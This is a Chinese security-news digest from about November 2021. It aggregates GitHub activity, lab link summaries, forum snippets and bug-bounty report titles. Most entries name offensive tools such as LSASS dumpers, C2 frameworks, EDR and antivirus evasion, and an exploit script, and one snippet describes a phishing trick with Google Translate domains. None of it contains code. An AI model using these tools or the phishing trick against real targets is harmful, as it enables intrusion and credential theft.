教科书《计算机体系结构基础》(胡伟武等,第三版)的开源版本 [Github关注] zt2 starred shimmeris/SCFProxy A little proxy tool based on Tencent Cloud Function Service. [Github关注] lengjibo starred mycve/TerminalController windows/linux 远程管理:屏幕监控、键盘记录、⽂件管理、命令执⾏ [Github关注] lengjibo starred Meltedd/HVNC HVNC Client & Server | Coded in C++ (Fixed Tinynuke) [Github关注] lengjibo starred hfiref0x/WDExtract Extract Windows Defender database from vdm files and unpack it [Github关注] gh0stkey starred Qihoo360/safe-rules 详细的C/C++编程规范指南,由360质量⼯程部编著,适⽤于桌⾯、服务端及嵌⼊式软件系统。 [Github关注] shmilylty starred canc3s/cIPR 将域名转为ip段权重 [Github关注] ASkyeye forked ASkyeye/nanodump from helpsystems/nanodump Dumping LSASS has never been so stealthy [Github关注] shmilylty starred loecho-sec/CobaltStrike_Script_Wechat_Push CobatStrike-Script, Beacon上线,微信实时推送! [Github关注] shmilylty starred veo/vscan 开源、轻量、快速、跨平台 的红队(redteam)外⽹打点扫描器,功能 端⼝扫描(port scan) 指纹识别 (fingerprint) nday检测(nday check) 智能爆破 (admin brute) 敏感⽂件扫描(file fuzz) [Github关注] easychen starred yunnian/php-nsq a php nsq client write by c extension,the fastest nsq client [Github关注] ASkyeye forked ASkyeye/LocalDllParse from N4kedTurtle/LocalDllParse [Github关注] ASkyeye forked ASkyeye/WinBoost from mobdk/WinBoost Execute Mimikatz with different technique [Github关注] ASkyeye forked ASkyeye/DLL-Hollow-PoC from SECFORCE/DLL-Hollow-PoC DLL Hollowing PoC - Remote and Self shellcode injection [Github关注] shmilylty starred j3ers3/Hello-Java-Sec Java Security,安全编码和代码审计 [Github关注] shmilylty forked shmilylty/HackJava from 0e0w/HackJava 《深⼊理解Java代码审计》 [Github关注] zt2 starred CyC2018/CS-Notes 技术⾯试必备基础知识、Leetcode、计算机操作系统、计算机⽹络、系统设计 [Github关注] klezVirus starred kkent030315/NtSymbol Resolve DOS MZ executable symbols at runtime [Github关注] CHYbeta starred f0rgetting/Presentations [Github关注] easychen starred iamacup/react-native-markdown-display React Native 100% compatible CommonMark renderer [Github关注] ASkyeye forked ASkyeye/RDPChecker from Hypnoze57/RDPChecker RDP Checker [Github关注] pandazheng starred N4kedTurtle/LocalDllParse [Github关注] No-Github released f8x 1.5.8 at ffffffff0x/f8x [Github关注] JnuSimba forked JnuSimba/CDK from cdk-team/CDK CDK is an open-sourced container penetration toolkit, offering stable exploitation in different slimmed containers without any OS dependency. It co… [Github关注] SkewwG starred Maskhe/javasec ⾃⼰学习java安全的⼀些总结,主要是安全审计相关 [Github关注] zt2 starred SharpC2/SharpC2 Command and Control Framework written in C#. [Github关注] CHYbeta starred daffainfo/AllAboutBugBounty All about bug bounty (bypasses, payloads, and etc) [Github关注] pandazheng starred stong/infosec-resources A list of helpful cybersecurity / infosec resources [Github关注] ASkyeye forked ASkyeye/SharpSphere from JamesCooteUK/SharpSphere .NET Project for Attacking vCenter [Github关注] 0xbug starred jazzband/tablib Python Module for Tabular Datasets in XLS, CSV, JSON, YAML, &c. [Github关注] riusksk starred google/clusterfuzzlite ClusterFuzzLite - Simple continuous fuzzing that runs in CI. [Github关注] zu1k starred bobbyiliev/101-linux-commands-ebook 101 Linux commands Open-source eBook [Github关注] timwhitez starred DongHuangT1/Geacon Using Go to implement CobaltStrike's Beacon [Github关注] uknowsec starred redtoolskobe/scaninfo fast scan for redtools [Github关注] gh0stkey starred Kyome22/RunCat_for_windows A cute running cat animation on your windows taskbar. [Github关注] rootphantomer starred NickstaDB/SerializationDumper A tool to dump Java serialization streams in a more human readable form. [Github关注] timwhitez starred taielab/Taie-Bugbounty-killer 挖掘国内外漏洞平台必备的⾃动化捡钱赏⾦技巧,看了并去做了捡钱如喝⽔。 [Github关注] ASkyeye forked ASkyeye/Windows-Kernel-Explorer from AxtMueller/Windows-Kernel- Explorer A free but powerful Windows kernel research tool. [Github关注] zer0yu starred Ares-X/shiro-exploit Shiro反序列化利⽤⼯具,⽀持新版本(AES-GCM)Shiro的key爆破,配合ysoserial,⽣成回显Payload [Github关注] zer0yu starred sebastianbergmann/php-code-coverage Library that provides collection, processing, and rendering functionality for PHP code coverage information. [Github关注] S3cur3Th1sSh1t starred Hypnoze57/RDPChecker RDP Checker [Github关注] timwhitez starred timwhitez/Doge-CSBridge CS http Dynamic Encrypt Bridge. [Github关注] jas502n starred lyy289065406/threat-broadcast 威胁情报播报 [Github关注] rasta-mouse made rasta-mouse/ExternalC2.NET public .NET implementation of Cobalt Strike's External C2 Spec [Github关注] wupco starred Markakd/kernel_exploit Linux kernel exploit [Github关注] ASkyeye forked ASkyeye/ExternalC2.NET from rasta-mouse/ExternalC2.NET .NET implementation of Cobalt Strike's External C2 Spec [Github关注] ASkyeye forked ASkyeye/brick from Sentinel-One/brick [Github关注] cube0x0 starred CCob/lsarelayx NTLM relaying for Windows made easy [Github关注] moloch-- starred capnspacehook/egress-eddie Hostname filtering with nfqueue [Github关注] moloch-- starred nadavrot/memset_benchmark [Github关注] moloch-- starred nnsee/fileless-elf-exec Execute ELF files without dropping them on disk [Github关注] shmilylty starred pureqh/bypasswaf 关于安全狗和云锁的⾃动化绕过脚本 [Github关注] lengjibo starred m0rv4i/SyscallsExample Simple project using syscalls (via Syswhispers2) to execute MessageBox shellcode. [Github关注] lengjibo starred Kara-4search/FullDLLUnhooking_CSharp Unhook DLL via cleaning the DLL 's .text section [Github关注] ASkyeye forked ASkyeye/lsarelayx from CCob/lsarelayx NTLM relaying for Windows made easy [Github关注] zu1k starred Keldos-Li/typora-latex-theme 将Typora伪装成LaTeX的中⽂样式主题,本科⽣轻量级课程论⽂撰写的好帮⼿。This is a theme disguising Typora into Chinese LaTeX style. [Github关注] lengjibo starred Syst2m/FunnyMeterpreter 与反病毒软件⽼⼤哥们的打闹⽇常 [Github关注] 0nise starred kubesphere/kubesphere The container platform tailored for Kubernetes multi-cloud, datacenter, and edge management ⎈ [Github关注] lengjibo starred cs1ime/DICHook Hook NtDeviceIoControlFile with PatchGuard [Github关注] zu1k starred nuta/kerla A new operating system kernel with Linux binary compatibility written in Rust. [Github关注] qiyeboy starred shidenggui/easytrader 提供同花顺客户端/国⾦/华泰客户端/雪球的基⾦、股票⾃动程序化交易以及⾃动打新,⽀持跟踪 joinquant /ricequant 模拟交易 和 实盘雪球组合, 量化交易组件 [Github关注] Tycx2ry starred gentilkiwi/mimikatz A little tool to play with Windows security [Github关注] timwhitez starred no0be/DNSlivery Easy files and payloads delivery over DNS [Github关注] timwhitez starred mdsecactivebreach/PowerDNS PowerDNS: Powershell DNS Delivery [Github关注] CHYbeta starred Sh1Yo/x8 Hidden parameters discovery suite [Github关注] timwhitez starred Binject/awesome-go-security A dedicated place for cool golang security projects [Github关注] timwhitez starred awnumar/memguard Secure software enclave for storage of sensitive information in memory. [Github关注] timwhitez starred minio/asm2plan9s Tool to generate BYTE sequences for Go assembly as generated by YASM [Github关注] jas502n forked jas502n/ATTCK-Tools-library from TimelineSec/ATTCK-Tools-library TimelineSec ATT&CK ⼯具库 [Github关注] CHYbeta starred riramar/Web-Attack-Cheat-Sheet Web Attack Cheat Sheet [Github关注] eybisi starred o-oconnell/mp4grep Command-line tool that searches audio/video files. [Github关注] m0ngo0se starred fengjixuchui/gdrv-loader Kernel driver loader using vulnerable gigabyte driver (https://www.secureauth.com/labs/advisories/gi gabyte-drivers-elevation-privilege-vulnerabilities [Github关注] Lz1y starred caesar0301/awesome-pcaptools A collection of tools developed by other researchers in the Computer Science area to process network traces. All the right reserved for the origina… [Github关注] 0xbug starred hamibot/hamibot Android 平台 JavaScript ⾃动化⼯具,⽆需 root。 [Github关注] SkewwG starred TheKingOfDuck/FileMonitor ⽂件变化实时监控⼯具(代码审计/⿊盒/⽩盒审计辅助⼯具) [Github关注] qiyeboy starred waditu/tushare TuShare is a utility for crawling historical data of China stocks [Github关注] scanfsec starred houjingyi233/macOS-iOS-system-security macos/ios exploit writeup [Github关注] scanfsec starred onee-io/crypto-zombies 僵⼫之谜-区块链NFT游戏 [Github关注] pandazheng starred olafhartong/sysmon-cheatsheet All sysmon event types and their fields explained [Github关注] zt2 starred jeremyevans/roda Routing Tree Web Toolkit [Github关注] gh0stkey starred EZLippi/Tinyhttpd Tinyhttpd 是J. David Blackstone在1999年写的⼀个不到 500 ⾏的超轻量型 Http Server,⽤来学习⾮常不 错,可以帮助我们真正理解服务器程序的本质。官⽹:http://tinyhttpd.sourceforge.net [Github关注] No-Github starred beautify-web/js-beautify Beautifier for javascript [Github关注] No-Github starred lc/subjs Fetches javascript file from a list of URLS or subdomains. [Github关注] zt2 starred minio/minio-go MinIO Client SDK for Go [Github关注] zt2 starred minio/minio High Performance, Kubernetes Native Object Storage [Github关注] byt3bl33d3r starred hectorm/docker-qemu-win2000 A Docker image for Windows 2000 Advanced Server with SP4. [Github关注] byt3bl33d3r starred joshkunz/qemu-docker A docker container for running x86_64 virtual machines using qemu [Github关注] byt3bl33d3r starred tianon/docker-qemu Dockerization of supported QEMU releases [Github关注] moloch-- starred eknkc/basex Arbitrary base encoding in GO [Github关注] rvrsh3ll forked rvrsh3ll/nanodump from helpsystems/nanodump Dumping LSASS has never been so stealthy [Github关注] No-Github starred floyd-fuh/crass Code Review Audit Script Scanner [Github关注] TheKingOfDuck starred ctongfei/progressbar Terminal-based progress bar for Java / JVM [Github关注] JnuSimba starred spring2go/cs_study_plan ⼀份硬核(hardcore)计算机科学CS⾃学计划,偏向软件⼯程和系统架构⽅向 [Github关注] FunnyWolf released v1.5.7 20211115 at FunnyWolf/Viper [Github关注] 0nise starred eip-work/kuboard-press Kuboard 是基于 Kubernetes 的微服务管理界⾯。同时提供 Kubernetes 免费中⽂教程,⼊⻔教程,最新版 本的 Kubernetes v1.20 安装⼿册,(k8s install) 在线答疑,持续更新。 [Github关注] c0ny1 starred openconnect/openconnect-gui MOVED TO https://gitlab.com/openconnect/openconnect-gui [Github关注] FunnyWolf starred Orange-Cyberdefense/arsenal Arsenal is just a quick inventory and launcher for hacking programs [Github关注] BeichenDream starred infosecn1nja/AD-Attack-Defense Attack and defend active directory using modern post exploitation adversary tradecraft activity [Github关注] brant-ruan starred Metarget/awesome-cloud-security awesome resources about cloud security [Github关注] pandazheng starred 0xTRAW/Linux-Privilege-Escalation-MindMap OSCP Privilege Escalation MindMap/Guide [Github关注] pandazheng starred RoqueNight/Linux-Privilege-Escalation-Basics Simple and accurate guide for linux privilege escalation tactics [Github关注] pandazheng starred ti-research-io/ti Daily updateted Threat Intelligence Feeds [Github关注] pmiaowu released HostCollision-2.2.0 at pmiaowu/HostCollision [Github关注] zu1k released 0.4.6-test at zu1k/sdusrun [Github关注] lengjibo starred erocarrera/pefile pefile is a Python module to read and work with PE (Portable Executable) files [Github关注] lengjibo starred Metarget/cloud-native-security-book 《云原⽣安全:攻防实践与体系构建》资料仓库 [Github关注] moloch-- starred slackhq/nebula A scalable overlay networking tool with a focus on performance, simplicity and security [Github关注] pmiaowu released HostCollision-2.2.1 at pmiaowu/HostCollision [腾讯⽞武实验室推送] APT活动中的Windows系统本地提权漏洞及技术分析 APT 活动中的 Windows 系统本地提权漏洞及技术分析 [腾讯⽞武实验室推送] Quick Installation Joern - 基于代码属性图实现跨语⾔代码分析的平台,⽀持对源码、中间字节码、⼆进制⽂件的分析 [腾讯⽞武实验室推送] SentinelOne macOS SentinelOne 团队总结了⼀份 macOS 平台的恶意软件列表 [腾讯⽞武实验室推送] CVE-2021-40449 Introduction win32k CVE-2021-40449 UAF 漏洞的利⽤ [腾讯⽞武实验室推送] Driftwood: Know if Private Keys are Sensitive Driftwood - ⼀款⽤于判断泄露的 Private Key 是否是 TLS 证书私钥、SSH 私钥等敏感信息的⼯具 [腾讯⽞武实验室推送] How SSL certificates are leaking sensitive information - Detectify Labs Detectify 团队通过⼤规模收集 SSL 证书中的信息发现,证书中的公开信息本身也会泄露⼀些企业的敏感信息 [腾讯⽞武实验室推送] How to exploit CVE-2021-40539 on ManageEngine ADSelfService Plus ManageEngine ADSelfService Plus 密码管理软件认证绕过漏洞的利⽤ [腾讯⽞武实验室推送] [PDF] https://cseweb.ucsd.edu/~schulman/docs/oakland22-bletracking.pdf 利⽤物理层的 BLE 信号追踪⽤户 [腾讯⽞武实验室推送] Finding and Fixing DOM-based XSS with Static Analysis Finding and Fixing DOM-based XSS with Static Analysis [腾讯⽞武实验室推送] 主流供应商的⼀些攻击性漏洞汇总 主流供应商的⼀些攻击性漏洞汇总 . [腾讯⽞武实验室推送] 深⼊研究 Snake Keylogger 的新变种恶意软件 深⼊研究 Snake Keylogger 的新变种恶意软件溯源. [腾讯⽞武实验室推送] All your tracing are belong to BPF All your tracing are belong to BPF [腾讯⽞武实验室推送] The Invisible JavaScript Backdoor – Certitude Blog ⽤ JavaScript 写⼀个不容易被发现的后⻔ [腾讯⽞武实验室推送] 软件供应链来源攻击分析报告 软件供应链来源攻击分析报告 [腾讯⽞武实验室推送] Unboxing BusyBox - 14 new vulnerabilities uncovered by Claroty and JFrog | JFrog 嵌⼊式 Linux 的瑞⼠军⼑ BusyBox 被发现 14 个漏洞 [腾讯⽞武实验室推送] Thick Client Penetration Testing Methodology Thick Client Penetration Testing Methodology [腾讯⽞武实验室推送] GitHub - stong/infosec-resources: A list of helpful cybersecurity / infosec resources 信息安全相关的有些资料链接 [腾讯⽞武实验室推送] GitHub - zeronetworks/rpcfirewall RPC Firewall - ⼀款检测 Windows RPC 漏洞利⽤攻击的⼯具 [腾讯⽞武实验室推送] CookieMonster CookieMonster - ⽤于⾃动化篡改 Cookie 挖掘漏洞的⼯具 [腾讯⽞武实验室推送] Becoming A Super Admin In Someone Elses Gsuite Organization And Taking It Over Google Gsuite 超级管理员账户接管漏洞的分析 [腾讯⽞武实验室推送] 从 mimikatz 看 Windows DPAPI 数据解密 从 mimikatz 看 Windows DPAPI 数据解密. [腾讯⽞武实验室推送] 浅谈JSP Webshell进阶免杀 浅谈JSP Webshell进阶免杀. [腾讯⽞武实验室推送] Announcing osquery 5: Now with EndpointSecurity on macOS osquery 发布 5.0 版本,⽀持在 macOS 平台基于 EndpointSecurity 框架收集事件⽇志 [腾讯⽞武实验室推送] PhoneSpy: The App-Based Cyberattack Snooping South Korean Citizens PhoneSpy Android 间谍 App 监控韩国⽤户的消息、图⽚等各类隐私信息 [腾讯⽞武实验室推送] Pun-free Cylance vulnerability, fixed 安全软件 Cylance 被发现多个本地提权漏洞 [腾讯⽞武实验室推送] Oilpan Library V8 脚本引擎 Trace-based garbage collector - Oilpan 的介绍 [腾讯⽞武实验室推送] Zero-Day Disclosure: PAN GlobalProtect CVE-2021-3064 Palo Alto Networks GlobalProtect VPN Unauthenticated RCE 漏洞分析(CVE-2021-3064) [腾讯⽞武实验室推送] ARMored CoreSight: Towards Efficient Binary-only Fuzzing 基于 ARM CPU 的 CoreSight 特性,实现对闭源 ARM ⼆进制程序的 Fuzz [腾讯⽞武实验室推送] Practical HTTP Header Smuggling: Sneaking Past Reverse Proxies to Attack AWS and Beyond Practical HTTP Header Smuggling: Sneaking Past Reverse Proxies to Attack AWS and Beyond [腾讯⽞武实验室推送] ChaosDB Explained: Azure's Cosmos DB Vulnerability Walkthrough Azure Cosmos DB 内部敏感信息泄漏漏洞分析 [腾讯⽞武实验室推送] [PDF] https://i.blackhat.com/EU-21/Wednesday/EU-21-Teodorescu-Veni-No-Vidi- No-Vici-Attacks-On-ETW-Blind-EDRs.pdf 攻击 ETW,逃避 EDR 软件的检测 [腾讯⽞武实验室推送] 朝鲜APT组织使⽤带后⻔IDA软件攻击安全研究⼈员 据 ESET 报道,朝鲜 APT 组织利⽤带后⻔的 IDA Pro 7.5 攻击安全研究⼈员 [腾讯⽞武实验室推送] The Newest Malicious Actor: “Squirrelwaffle” Malicious Doc. McAfees研究⼈员发现最新“Squirrelwaffle“恶意软件威胁并对进⾏分析. [腾讯⽞武实验室推送] 记⼀次Log4j失败的Gadget挖掘记录 记⼀次Log4j失败的Gadget挖掘记录. [腾讯⽞武实验室推送] GitHub - r0eXpeR/redteam_vul: 红队作战中⽐较常遇到的⼀些重点系统漏洞整理。 红队中易被攻击的⼀些重点系统漏洞整理 [腾讯⽞武实验室推送] ClusterFuzzLite: Continuous fuzzing for all Google 开源了⼀套 Fuzz 框架 - ClusterFuzzLite,⽀持在 CI ⼯作流中引⼊ Fuzz [腾讯⽞武实验室推送] What can I do to prevent this in the future? Fuzzing Image Parsing in Windows, Part Three: RAW and HEIF [Seebug Paper] 汽⻋插线端⼦逆向分析 作者:星舆实验室 前⾔ ⼤家好, 我是星舆⻋联⽹实验室“饭饭”。星舆取“星⾠⼤海, 舆载万物”之意, 是专注于⻋联⽹技术研究, 漏 洞挖掘和⼯具研发的安全团队。团队成员在漏洞挖掘, 硬件逆向与 AI ⼤数据⽅⾯有着丰富经验, 连续在 GeekPwn 等破解赛事中斩获奖项, 并获众⼚商致谢。团队研究成果多次发表于 DEFCON 等国内外顶级安全 会议。 在不久之后实验室计划拆⻋,研究⻋辆的组成... [会员推荐] 《沙丘》编剧、《权游》作者:MS-DOS我能再⽤五⼗年! 推荐⽤户:boyhack 很多看似⾼科技的东⻄把⼈的专注时间加⻓了,⽤最适合⾃⼰的东⻄最好。 [知识星球] 漏洞百出 ( ) [Need to launch your app unusua] Need to launch your app unusual way? ;) 1. Launch Sigverif.exe 2. Click "Adva... [知识星球] 代码审计⼩密圈 (phith0n) [前⼏天在跳跳糖发了⽂章,今天发个代码审计与跳跳糖联名活动 我] 前⼏天在跳跳糖发了⽂章,今天发个代码审计与跳跳糖联名活动 我们星球成员投稿跳跳糖安全社区,稿费提 升20%,即: 优秀原创⽂章发放 600RMB。 精华原创⽂章发放 1200RMB。 72⼩时后,作者未发送到其他 平台,即发放... [知识星球] 公鸡队之家 (L.N.) [https://www.infosec.tirol/mast] https://www.infosec.tirol/master-of-puppets-part-i... https://www.infosec.tirol/master-of-puppets-part -i... 这2篇关于EDR的对抗,挺不错的,⽐较系统的梳理了EDR关键技术。 第⼀个部分,有作者的演讲视频, 主要是讲EDR的2种侦测⽅式: 1. 3环的api hook,这个很好对抗,就是github上各种的直接系统调⽤ (syscall) 2. 内核回调,这个需要利⽤... [知识星球] 公鸡队之家 (L.N.) [利⽤google翻译的域名钓⻥,挺有意思的。 例如:http] 利⽤google翻译的域名钓⻥,挺有意思的。 例如:https://www-baidu-com.translate.goog... [知识星球] 公鸡队之家 (L.N.) [利⽤google翻译的域名diao⻥,挺有意思的。 例如:h] 利⽤google翻译的域名diao⻥,挺有意思的。 例如:https://www-baidu-com.translate.goog/?_x_tr_sl=en &... Phishing With Google's D... [知识星球] 公鸡队之家 (Samaritan) [攻击 ETW,逃避 EDR 软件的检测:https://i.] 攻击 ETW,逃避 EDR 软件的检测:https://i.blackh... [知识星球] 公鸡队之家 (L.N.) [读书⼊魔 ] 读书⼊魔 [知识星球] 公鸡队之家 (Seethink) [] [知识星球] 公鸡队之家 (z) [分享⼀个最近写的 CVE-2021-22205 Gitlab] 分享⼀个最近写的 CVE-2021-22205 Gitlab 未授权 RCE 利⽤脚本,⽀持 Gitlab 版本探测、命令执⾏ OOB 回 显、反弹 Sh... [知识星球] 代码审计⼩密圈 (geez) [在学习 Java安全漫谈 - 10.反序列化篇(4) ⽂章时] 在学习 Java安全漫谈 - 10.反序列化篇(4) ⽂章时遇到⼀个难以理解的问题。 图中说道: " 和demo最⼤的区别 就是将 Runtime.getRuntime() 换成了 Runtime.class ,前者是⼀ 个 java.lang.Runtime 对象,后者是⼀个 java.lang.Class 对象 " 但... [知识星球] 代码审计⼩密圈 (~aaaa) [⼤佬们,BCEL加载字节码的时候报错,提示是没有ClassL] ⼤佬们,BCEL加载字节码的时候报错,提示是没有ClassLoader这个类,... [知识星球] 代码审计⼩密圈 (代码审计⼩助⼿) [这段时间有⼀些特殊情况(机器⼈不在线了)可能导致官⽹审核 较慢] 这段时间有⼀些特殊情况(机器⼈不在线了)可能导致官⽹审核较慢或者... [知识星球] 代码审计⼩密圈 (擦) [共审计3次 全部未维权掉权限 这种还有价值吗 挖不动了 ⼈⽣] 共审计3次 全部未维权掉权限 这种还有价值吗 挖不动了 ⼈⽣建议维权。 论坛 [v2ex] [酷⼯作] [硅⾕⼩众宝藏 Startups] 100%远程+期权+双休+四周年假+各种福利补贴 Jerry.ai 是总部位于硅⾕的明星⼈⼯智能⾦融互联⽹⾼科技公司, 聚焦万亿级市场,我们为数百万⽤户提供最 佳⼈⼯智能⾦融产品选购平台。近来,公司完成了新⼀轮上亿元级别融资, 并被领英提名为全美创业公司 50 强。我们正在致⼒于⼤规模的团队扩建,希望寻找热爱技术,喜爱技术挑战的⼈才加⼊我们的团队。 我们的 技术栈: Javascript (with Flow) codebase: NodeJS (Express), React, React Native GraphQL API (no REST) PostgreSQL DB (transactional) Redshift (warehouse) Redis (session storage, task queue management) Sequelize ORM (exploring Prisma as a potential replacement) Jest test runner Infrastructure: Kubernetes cluster hosted on AWS EC2 nodes ⼯作职责: 参与产品设计、开发、测试、部署、维护,为改进产品提供反馈和建议 合理安排各个项⽬的优先顺序,确保项⽬ 按期完成并实现⽬标成果 我们需要这样的你: 3 年+相关经验,本科及以上学历,计算机,软件⼯程相关专业,具备扎实的软件开发基础知识(数据结构,算法 等等) 熟悉现代 javascript (ES6+: Classes, modules, arrow functions, async/await, destructuring, etc.) 熟悉 javascript ⼯具链以及常⽤的库 熟悉 Web 前端框架,如 ReactJs, Vue.js 等 了解服务器端渲染技术,以及 React Native 移动端开发 了解 javascript 的最佳实践和⼀些常⽤的设计模式,具备编写⾼效简洁的 javascript 代码 会编 写和维护规范的测试集,有维护和管理⼤型代码 repo 的相关经验并且知道如何维护 repo 对代码的性能和可扩展 性有深刻的理解 乐于编写⾼质量的代码和测试集,并维护全⾯的代码覆盖测试 加分项⽬ 熟练运⽤ React Native, GraphQL 以及 Apollo 相关产品开发经验 薪资福利 匹配⼀线⼤⼚的诱⼈薪资 公司提供顶配笔记本和显示器 四周带薪年假,补贴健身费⽤ ⾯试流程 1.收到您的简历后,如果符合要求,我们会通过邮件与您联系第⼀轮 coding test 。 2.您有两天时间完成 coding test 。通过之后 HR 会邀请您进⾏⼀次⾮技术⾯试,以了解您的更多信息,如薪资期待等 。 3.HR ⾯试之 后是三轮技术⾯试。第⼀,⼆轮⾯试和国内的技术负责⼈⾯试,第三轮和 VP Eng 或者 CTO ⾯试,全程中⽂友 好。 4.当完成了所有的⾯试,如果您对我们给出的 offer 感到满意,就可以通过第三⽅公证平台进⾏签约,期待与 您共事 :) 如果您感兴趣,请把您的英⽂简历发⾄: [email protected] 邮件主题字段必须包含: Senior Software Engineer - V2EX ,我们会尽快和您取得联系。 [v2ex] [以太坊] 分享: Ubuntu Linux 上的挖矿笔记 AMD 卡 + Teamredminer Mining Ethereum with AMD 6600 XT on Ubuntu Linux Nvidia 卡 + t-rex Ethereum(Crypto) Mining with Nvidia 3070(Ampere) on Ubuntu 20.04 with Renewable Energy [⽕线zone] 【⽕线zone社区周激励】2021.11.8~2021.11.14公告 根据【⽕线Zone社区运营规则 v0.1】相关要求规定,为⿎励所有社区⽤户进⾏原创⽂章的分享,实⾏#原创 ⽂章激励#计划,发布的原创⽂章请添加官⽅标签#原创⽂章#,否则不计⼊奖励。 奖励具体规则如下: 点赞 >10 的原创⽂章,将获得#原创⽂章激励# 300查克拉。 点赞 >10 的原创⽂章,同时可参与周度计划评选, 按照⽂章Rank值来计算排名,获得对应奖励。 符合周度激励的内容将会被设置为社区精华并对外发表在 【⽕线Zone】公众号上 Rank = 评论数 X 3 + 点赞数 X 2 + 阅读量 X 1 第⼀名:500元现⾦+500查克拉 第⼆ 名:300元现⾦+300查克拉 第三名:200元现⾦+200查克拉 符合#原创⽂章激励#计划的⽂章有: 获得300 查克拉 ⽂章:浅谈cs的shellcode的使⽤⽅法 链接:https://zone.huoxian.cn/d/637 作者:wkeyi0x1之暴 ⻰战⼠ ⽂章:CS服务器隐匿⾃身操作 链接:https://zone.huoxian.cn/d/636 作者:Juy ⽂章:企业安全建 设探讨——下卷 链接:https://zone.huoxian.cn/d/629 作者:jobs 同时参与#周度激励#计划排名前三名 第⼀名:500元现⾦+500查克拉 ⽂章:浅谈cs的shellcode的使⽤⽅法 链 接:https://zone.huoxian.cn/d/637 作者:wkeyi0x1之暴⻰战⼠ 第⼆名:300元现⾦+300查克拉 ⽂章:CS服务 器隐匿⾃身操作 链接:https://zone.huoxian.cn/d/636 作者:Juy 第三名:200元现⾦+200查克拉 ⽂章:企业安 全建设探讨——下卷 链接:https://zone.huoxian.cn/d/629 作者:jobs 所有奖励每周⼀进⾏结算(即本周奖励结 算上周的原创⽂章),结算完将在⽕线Zone社区进⾏结果公示,如有异议请及时联系#⽕线⼩助⼿#,⽆异议后将 在周⼆或周三发放奖励⾄⽕线安全平台账号内,可进⾏现⾦提现或兑换商品。 [看雪论坛] 华为开发者⼤会主题演讲:抖⾳短视频⽹络性能优化实践 ⼤家好!我是来⾃字节跳动抖⾳体验团队的卡涛。我的分享主题是抖⾳短视频⽹络性能优化实践。接下来, 我将介绍短视频应⽤的弱⽹瓶颈,以及集成HMS Core⽆线传输服务后的改变。 [看雪论坛] 华为开发者⼤会主题演讲:3D建模服务让内容⾼效⽣产 ⾸先看⼀下3D物体建模的能⼒,不同于传统的建模师⽤3D软件制作模型的⽅式,或是通过扫描仪进⾏建模 的⽅式,我们的定位是要做移动端快速的、低成本UDC的⽣产,不需要图⽚的深度信息,只需普通RGB相 机,通过拍摄物体不同⻆度的多张图像,上传到云端,即可实现物体3D⼏何模型和纹理的⾃动化⽣成。 [看雪论坛] ⼗⼤对抗勒索软件的最佳实践、Windows 10漏洞被⾮官⽅修复|11⽉15⽇全球⽹络安全热点 安全资讯报告新⻄兰最⼤⽹络安全危机本可避免?DHB在遭袭前近半年已收到提醒 今年5⽉的⽹络攻击中, ⿊客关闭了怀卡托DHB的数百台服务器,导致⼀些癌症患者被转移⾄其他地区,选择性⼿术被推迟,患者和 ⼯作⼈员的信息被传⾄暗⽹。 RNZ报道,⼀份标... [看雪论坛] 今天中午12点,看雪·众安 2021 KCTF秋季赛挑战开启,书写你的传奇故事! 11⽉15⽇,2021 KCTF秋季赛正式开赛啦~快来⼤展身⼿ bugbountry [List of bug bounty writeup] Fiverr email restriction bypassed | Bounty 100$ 程序:Fiverr 漏洞类型:Logic flaw 赏⾦:$100 作者:Maruf Hosan [List of bug bounty writeup] Unauthenticated Access To Cloud Portal — A Without 漏洞类型:Authentication bypass 作者:Yukesh Kumar (@3th1c_yuk1) [List of bug bounty writeup] How I Found multiple SQL Injection with FFUF and Sqlmap in a few minutes 漏洞类型:SQL injection 作者:Mahmoud Youssef (@0xmahmoudjo0) [hackone] Blog posts atom feed of a store with password protection can be accessed by anyone 影响⼚商:Shopify(https://hackerone.com/shopify) 任何⼈都可以访问带有密码保护的商店的 Blog ⽂章 atom feed [hackone] Senseitive data Related to Shopify Host -> https://shopify.zendesk.com/ 影响⼚商:Shopify 奖励:500.0USD 危险等级:none 与 Shopify Host-> https://Shopify.zendesk.com/相关的 敏感数据 [hackone] Blog posts atom feed of a store with password protection can be accessed by anyone 影响⼚商:Shopify 奖励:5000.0USD 危险等级:medium 任何⼈都可以访问带有密码保护的商店的 Blog ⽂章 atom feed [hackone] Leaked H1's Employees Email addresses,meeting info on private bug bounty program ████████ 影响⼚商:HackerOne 奖励: 危险等级:medium 泄露的 h 1员⼯电⼦邮件地址,会议信息私⼈错误赏⾦计划/ ⻛云⼈物/⻛云⼈物/⻛云⼈物/⻛云⼈物/⻛云⼈物/⻛云⼈物/⻛云⼈物/⻛云⼈物 [hackone] Path traversal and file disclosure vulnerability in Apache HTTP Server 2.4.49 影响⼚商:Internet Bug Bounty 奖励:4000.0USD 危险等级:critical Apache HTTP Server 2.4.49中的路径遍 历和⽂件披露漏洞 [hackone] Failure to Invalid Session after Password Change 影响⼚商:Rockset(https://hackerone.com/rockset) 密码更改后的⽆效会话失败 [hackone] A member-member privilege could access the https://console.rockset.com/billing? tab=payment page even though the billing page is hidden from the menu. 影响⼚商:Rockset(https://hackerone.com/rockset) 会员权限可以访问 https://console.rockset.com/billing ?tab=payment ⽹⻚,即使账单⻚⾯是隐藏在菜单中的。 [hackone] Reflected XSS in VPN Appliance 影响⼚商:New Relic 奖励:1024.0USD 危险等级:medium 在 VPN 应⽤中的体现 [hackone] A bypass of adding remote files in concrete5 FIlemanager leads to remote code execution 影响⼚商:Concrete CMS 奖励: 危险等级:medium 在 concrete5 FIlemanager 中添加远程⽂件会导致远程代 码执⾏ [hackone] The response shows the nginx version 影响⼚商:Judge.me(https://hackerone.com/judgeme) 该响应显示了 nginx 版本 [hackone] Cross-site leak allows attacker to de-anonymize members of his team from another origin 影响⼚商:Slack 奖励:250.0USD 危险等级:low 跨站点泄露允许攻击者去除来⾃其他来源的团队成员的匿名 [hackone] Drive-by arbitrary file deletion in the GDK via letter_opener_web gem 影响⼚商:GitLab 奖励:750.0USD 危险等级:medium 驱动器通过任意⽂件删除在 GDK 通过开信 _ web gem [hackone] GlassWire 2.1.167 vulnerability - MSVR 56639 影响⼚商:GlassWire 奖励: 危险等级:medium GlassWire 2.1.167漏洞 -MSVR 56639 [hackone] Unauthorized access to employee panel with default credentials. 影响⼚商:U.S. General Services Administration 奖励: 危险等级:high 未经授权访问具有默认凭据的员⼯⾯ 板。 [hackone] Broken subdomain takeover of runpanther which was pointing towards herokuapp 影响⼚商:Panther Labs 奖励:100.0USD 危险等级:medium 破碎的⼦域名接管指向 herokuapp 的 runpanther [hackone] Stored XSS in profile page 影响⼚商:Acronis 奖励:50.0USD 危险等级:medium 